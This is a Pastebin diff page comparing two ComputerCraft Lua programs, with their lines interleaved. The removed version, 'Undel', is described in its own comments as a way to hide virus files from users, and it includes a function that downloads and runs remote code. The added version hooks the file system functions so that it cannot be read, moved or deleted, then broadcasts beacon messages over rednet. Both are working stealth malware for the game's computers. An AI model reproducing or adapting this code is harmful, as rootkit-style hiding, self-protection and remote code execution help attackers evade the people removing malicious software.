View difference between Paste ID: czkDsCVf and 6ZmEhuJp
SHOW: | | - or go back to the newest paste.
1-
-- pastebin get 6ZmEhuJp startup
1+
--Undeletable Rednet 'Bug' program
2-
-- std pb 6ZmEhuJp startup
2+
3-
--[[
3+
bugDelay = 2 --in seconds
4-
Let me explain Undel (yes, that's what I called it):
4+
bugMessage = "beep"
5-
Undel is not exactly a virus, as it doesn't carry a payload, but it certainly does help when you add one!
5+
bugSendID = nil
6-
Undel hides a table of filenames from all detection and execution. Even works with folders!
6+
7-
The idea is that if a computer has a virus, and that virus does something, then the person will remove the virus with a disk...
7+
name = fs.getName(shell.getRunningProgram())
8-
...but if the person does not know there is a virus, he will make no effort to remove it! It's so devious!
8+
if not alreadyDone == true then
9-
It doesn't have a payload, so add some code to the end or have it run another hidden file using runActualProgram()
9+
	oldfsopen = fs.open
10-
or runURL().
10+
	oldisreadonly = fs.isReadOnly
11
	oldfsdelete = fs.delete
12-
Syntax:
12+
	oldfsmove = fs.move
13-
"undel" Will hide anything in protectedList.
13+
	fs.open = function(path, mode)
14-
"undel <file1> <file2> <file3> ..." Adds all arguments to protectedList, to be hidden.
14+
		if fs.getName(path) ~= fs.getName(name) then
15-
"undel install" Moves startup, names itself startup, and adds a unicode character to itself to prevent reading.
15+
			return oldfsopen(path, mode)
16-
--]]
16+
17
	end
18-
local tArg = {...}
18+
	fs.isReadOnly = function(path)
19
		if fs.getName(path) ~= fs.getName(name) then
20-
local function runURL(url, ...)
20+
			return oldisreadonly(path)
21-
	local program = http.get(url)
21+
22-
	if not program then return false end
22+
			return true
23-
	program = program.readAll()
23+
24-
	local func = loadstring(program)
24+
25-
	setfenv(func, getfenv())
25+
	fs.delete = function(path)
26-
	return func(...)
26+
		if fs.getName(path) ~= fs.getName(name) then
27
			return oldfsdelete(path)
28
		else
29-
local function runCode(...) --Run custom code here before startup!
29+
			return
30-
	return
30+
31
	end
32
	fs.move = function(path, dest)
33-
local programName = shell.getRunningProgram()
33+
		if fs.getName(path) ~= fs.getName(name) then
34-
local protectedList = {
34+
			return oldfsmove(path, dest)
35-
	fs.combine("",shell.getRunningProgram()),
35+
36-
}
36+
			return
37-
if (#tArg > 1) or (tArg[1] ~= "--install") then --Add extra files
37+
38-
	for a = 1, #tArg do
38+
39-
		if tArg[a] == "*" then
39+
40-
			protectedList = fs.list(shell.dir())
40+
alreadyDone = true
41-
			break
41+
42
sides = {"left","right","front","back","top","bottom"}
43-
			table.insert(protectedList,fs.combine("",tArg[a]))
43+
for a = 1, #sides do
44
	if peripheral.getType(sides[a]) == "modem" then
45
		rednet.open(sides[a])
46
	end
47
end
48-
local function rollOver(input, max) --More useful than it seems.
48+
49-
	return math.floor(input % max)
49+
function bug()
50
	while true do
51
		if bugSendID then
52-
local function randomString(input)
52+
			rednet.send(bugSendID, bugMessage)
53-
	local output
53+
54-
	if fs.isDir(input) then
54+
			rednet.broadcast(bugMessage)
55-
		output = ".."
55+
56-
	else
56+
		sleep(bugDelay)
57-
		output = "."
57+
58
end
59-
	local alphabet = "abcdefghijklmnopqrstuvwxyz1234567890<>[]()!@#$%^&"
59+
60-
	for a = 1, #input do
60+
function runShell()
61-
		local rand = rollOver(string.byte(string.sub(input,a,a)),#alphabet)
61+
	shell.run("shell")
62-
		output = output..string.sub(alphabet, rand, rand)
62+
63
64-
	return output
64+
term.clear()
65
term.setCursorPos(1,1)
66
67-
local protectedListAlternatives = {}
67+
parallel.waitForAny(runShell, bug)
68-
local protectedListFiletypes = {}
68+
69-
for a = 1, #protectedList do
69+
if term.isColor() then term.setTextColor(colors.yellow) end
70-
	table.insert(protectedListAlternatives, randomString(protectedList[a]))
70+
print("Goodbye")
71-
	table.insert(protectedListFiletypes, fs.isDir(protectedList[a]))
71+
sleep(1)
72
os.shutdown()